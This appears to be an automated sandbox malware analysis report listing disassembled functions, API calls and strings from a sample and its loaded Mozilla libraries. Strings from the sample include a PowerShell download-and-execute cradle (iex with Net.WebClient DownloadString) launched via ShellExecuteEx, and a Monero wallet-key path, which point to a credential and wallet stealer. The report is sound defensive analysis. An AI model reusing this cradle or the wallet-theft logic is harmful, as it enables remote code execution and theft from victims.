Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: ddaf6f8b125b3f6f6eed465e4a80a9166bf3288553cff3e0002d544b284c5598
Instruction ID: c3c579bf121b4f29216cc944803579b568ea5ae6b2b9047ff900d25c0825af38
Opcode Fuzzy Hash: ddaf6f8b125b3f6f6eed465e4a80a9166bf3288553cff3e0002d544b284c5598
Instruction Fuzzy Hash: 82F0B4752002059FDB006F669C8895E77BDEFCA29EF010415FA0583706CF31A801876E

Function 6C6905F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C68CFAE,?,?,?,6C6531A7), ref: 6C6905FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C68CFAE,?,?,?,6C6531A7), ref: 6C690616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C6531A7), ref: 6C69061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C6531A7), ref: 6C690627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C69061B, 6C690625
<jemalloc>, xrefs: 6C6905FA, 6C69060F

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 718c23f9e1cf966c788dd71da6affca665d055ee368c1ec450e64d4ade668484
Instruction ID: 48e1536f2f0669c544160619b682af56469d35fc0a8b4f871b052f5e726b8a34
Opcode Fuzzy Hash: 718c23f9e1cf966c788dd71da6affca665d055ee368c1ec450e64d4ade668484
Instruction Fuzzy Hash: 69E08CE2A0101037F6142256BC86DBB761CDBC6134F080039FE0E83341E94ABD1A51FB

Function 6C6605F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 718b1e7a507a29194bee81f70a1d2deeffb3db7465f21d181ead2f123607c46d
Instruction ID: 5d20436572da2bca74fa40327ce16ae1097bfe10773e91a6ef8623a71e3834a3
Opcode Fuzzy Hash: 718b1e7a507a29194bee81f70a1d2deeffb3db7465f21d181ead2f123607c46d
Instruction Fuzzy Hash: 8AA15AB0A016458FDB24CF2AC594A99FBF1BF49304F44866ED44A97B00E731BA85CF99

Function 6C6B14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6B14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6B14E2
GetCurrentThreadId.KERNEL32 ref: 6C6B1546
InitializeConditionVariable.KERNEL32(?), ref: 6C6B15BA
free.MOZGLUE(?), ref: 6C6B16B4

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 84b113b9a73e277b9fd29e08484e4394e3a35ff6a497e3b0073eb4c8ef52548c
Instruction ID: aba4de780e88ec0fbd8ae92ed5aa9381c591fd8fdf4d159ca99d83c8d4769e11
Opcode Fuzzy Hash: 84b113b9a73e277b9fd29e08484e4394e3a35ff6a497e3b0073eb4c8ef52548c
Instruction Fuzzy Hash: 2361F572A007009BDB118F25C880BDEB7B5BF8A308F04851DED8A67711EB31E955CB99

Function 6C6ADC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6ADC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C6AD38A,?), ref: 6C6ADC6F
free.MOZGLUE(?,?,?,?,?,6C6AD38A,?), ref: 6C6ADCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C6AD38A,?), ref: 6C6ADCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C6AD38A,?), ref: 6C6ADD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C6AD38A,?), ref: 6C6ADD4A

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: e832c0ffbb3be5372cd064647279fbc88c4c6da441537e842909aca23f795383
Instruction ID: bcadd9162a49f29ceb0e17f71bb7541758fe66ea6d43d186fbb7bff36c009d76
Opcode Fuzzy Hash: e832c0ffbb3be5372cd064647279fbc88c4c6da441537e842909aca23f795383
Instruction Fuzzy Hash: 24416BB5A00605DFCB00CF99C88099AB7F5FF89314B654569DE46ABB11D771FC02CB98

Function 6C68F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C68F480

Part of subcall function 6C65F100: LoadLibraryW.KERNEL32(shell32,?,6C6CD020), ref: 6C65F122
Part of subcall function 6C65F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C65F132

CloseHandle.KERNEL32(00000000), ref: 6C68F555

Part of subcall function 6C6614B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C661248,6C661248,?), ref: 6C6614C9
Part of subcall function 6C6614B0: memcpy.VCRUNTIME140(?,6C661248,00000000,?,6C661248,?), ref: 6C6614EF

Part of subcall function 6C65EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C65EEE3

CreateFileW.KERNEL32 ref: 6C68F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C68F523

Strings

\oleacc.dll, xrefs: 6C68F4CB

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: e7e48814ea99a76f411752119c71c55213dd58cbadc32e0fce5a34836752ec9b
Instruction ID: 0d1bc788e9566150df40bd87b32a434fe4a46e126bf0021ca286a0276173a7db
Opcode Fuzzy Hash: e7e48814ea99a76f411752119c71c55213dd58cbadc32e0fce5a34836752ec9b
Instruction Fuzzy Hash: 4541BF706097109FE720DF29D884A9BB7F4AF95318F504A1CF59083690EB70E949CBAB

Function 00072C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0007A740: lstrcpy.KERNEL32(00080E17,00000000), ref: 0007A788

Part of subcall function 0007A9B0: lstrlen.KERNEL32(?,00D78A30,?,\Monero\wallet.keys,00080E17), ref: 0007A9C5
Part of subcall function 0007A9B0: lstrcpy.KERNEL32(00000000), ref: 0007AA04
Part of subcall function 0007A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0007AA12

Part of subcall function 0007A920: lstrcpy.KERNEL32(00000000,?), ref: 0007A972
Part of subcall function 0007A920: lstrcat.KERNEL32(00000000), ref: 0007A982

Part of subcall function 0007A8A0: lstrcpy.KERNEL32(?,00080E17), ref: 0007A905

ShellExecuteEx.SHELL32(0000003C), ref: 00072D85

Strings

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00072D04
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00072CC4
<, xrefs: 00072D39
')", xrefs: 00072CB3

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 7979bd6be5a0c203918808e338ddd2a6d88b09ad02abf097db56d6aee592f600
Instruction ID: 524dbd0fabcc50b55acb8c8ef4b16a7b2a513ce256310abe6ea4aa7407631477
Opcode Fuzzy Hash: 7979bd6be5a0c203918808e338ddd2a6d88b09ad02abf097db56d6aee592f600
Instruction Fuzzy Hash: 0441F171E101089ADB54FFA0D895FDEBB74BF55300F408019F11AAB192DF782A4ACF9A

Function 6C6B74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C6B7526
__Init_thread_footer.LIBCMT ref: 6C6B7566
__Init_thread_footer.LIBCMT ref: 6C6B7597

Strings

kernel32.dll, xrefs: 6C6B7557
UnmapViewOfFile2, xrefs: 6C6B7552

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 615ffa97ad8c0de051b7642b4bca49c3847e34a81dded684b7e6253d4862282e
Instruction ID: 70c3812f21271e644d1c9f7080f2d601ef814584af8e9d41c780a69cb21825ee
Opcode Fuzzy Hash: 615ffa97ad8c0de051b7642b4bca49c3847e34a81dded684b7e6253d4862282e
Instruction Fuzzy Hash: 1621373270150197CB248FEAD894ED973B5EB87725F054529E80167B80DB31B9118BBF

Function 6C6BC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C6BC0E9), ref: 6C6BC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C6BC437
FreeLibrary.KERNEL32(?,6C6BC0E9), ref: 6C6BC44C

Strings

NtQueryVirtualMemory, xrefs: 6C6BC431
ntdll.dll, xrefs: 6C6BC413

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: d4ad702163dedae234b04c25129513d6ca49606b68d6455ed9a7693a3667c5d7
Instruction ID: 0baf2aa69d8cf0f9d1a80e002f6a0c30601aa36f70604daba40d504ae963cc98
Opcode Fuzzy Hash: d4ad702163dedae234b04c25129513d6ca49606b68d6455ed9a7693a3667c5d7
Instruction Fuzzy Hash: 14E0B670B01302ABDF007F73C9887127BF8AB46745F044516AB0592614EBB0F652CB5F

Function 00069E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00069F41

Part of subcall function 0007A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0007A7E6

Part of subcall function 0007A740: lstrcpy.KERNEL32(00080E17,00000000), ref: 0007A788

Strings

v20, xrefs: 00069E21
ERROR_RUN_EXTRACTOR, xrefs: 00069E67
v10, xrefs: 00069EA3
@, xrefs: 00069EF1

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 50884498e1c4b6668c484c50843eb329d8912ee3f46d86cf92ab9bb80b794f0a
Instruction ID: bcb3e085f7ebb8feb74f15a48ec2251e5bff2558e9b00f34b4b43b70e7212707
Opcode Fuzzy Hash: 50884498e1c4b6668c484c50843eb329d8912ee3f46d86cf92ab9bb80b794f0a
Instruction Fuzzy Hash: A4612271A10248DBDB28EFA4CC96FEE7775AF85304F008118F90A5F192DF746A05CB56

Function 6C654DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C654E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C654E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C654EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C654F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C654F1E

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 52175f95d4ea3090ad09e7d1fb6a04a335b1bba66f3e2ef145f8db46a4b08874
Instruction ID: fa9019ae94530c368e15ab28f76c0ca6e05641a3aa38c6ac439540feb09e902e
Opcode Fuzzy Hash: 52175f95d4ea3090ad09e7d1fb6a04a335b1bba66f3e2ef145f8db46a4b08874
Instruction Fuzzy Hash: 8C41F0716087019FC701CF29C8809ABB7E4BF8A344F608A5DF56687640DBB1E935CB85

Function 6C661530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C66159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C6615BC
moz_xmalloc.MOZGLUE(-00000001,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C6615E7
free.MOZGLUE(?,?,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C661606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C661637

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 60c595e13ce2a9c8a199b3a496b84ba9900cf50bf30422973b7d5e0842e1335b
Instruction ID: d01c86a85d46c23a7c691215a81a34074b03034866677b6b18a6f6f243d40b0c
Opcode Fuzzy Hash: 60c595e13ce2a9c8a199b3a496b84ba9900cf50bf30422973b7d5e0842e1335b
Instruction Fuzzy Hash: 9C31EAB1A001149BCB148E7DD8514AEB7A5FB823647240B2DE423DBFD4EB30D915879B

Function 6C6BAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAD9D

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE01
GetLastError.KERNEL32(?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE3D

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 0f21de2af0562fbe7cdfc5f35f1760c945e4117e18b0c4ae4a851e01653c96bd
Instruction ID: 4eb5dd445afc357e947c968c0e77c1b944aa70b059dce956206679de5e0986f5
Opcode Fuzzy Hash: 0f21de2af0562fbe7cdfc5f35f1760c945e4117e18b0c4ae4a851e01653c96bd
Instruction Fuzzy Hash: FB3164B1A002159FDB10DF7A8C44AABB7F8EF49714F15482DE94AE7700E734E815CBA9

Function 6C65B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C65B532
moz_xmalloc.MOZGLUE(?), ref: 6C65B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C65B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C65B57E
free.MOZGLUE(00000000), ref: 6C65B58F

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 4d383c59ac1466ad9845e72a84ae01ba623d94f7e40b200926ea7cdfc1fc98de
Instruction ID: 89d8c58b405f94ff87142cdd8ce363126df9faeab29231e2da6d786d2f4b5cda
Opcode Fuzzy Hash: 4d383c59ac1466ad9845e72a84ae01ba623d94f7e40b200926ea7cdfc1fc98de
Instruction Fuzzy Hash: 3D212971A002059BDB00CF69CC80BAEBBB9FF86304F784129E918DB345E736D921C7A5

Function 00079260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(00D7D998,?,?,?,0007140C,?,00D7D998,00000000), ref: 0007926C
lstrcpyn.KERNEL32(002AAB88,00D7D998,00D7D998,?,0007140C,?,00D7D998), ref: 00079290
lstrlen.KERNEL32(?,?,0007140C,?,00D7D998), ref: 000792A7
wsprintfA.USER32 ref: 000792C7

Strings

%s%s, xrefs: 000792B5

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

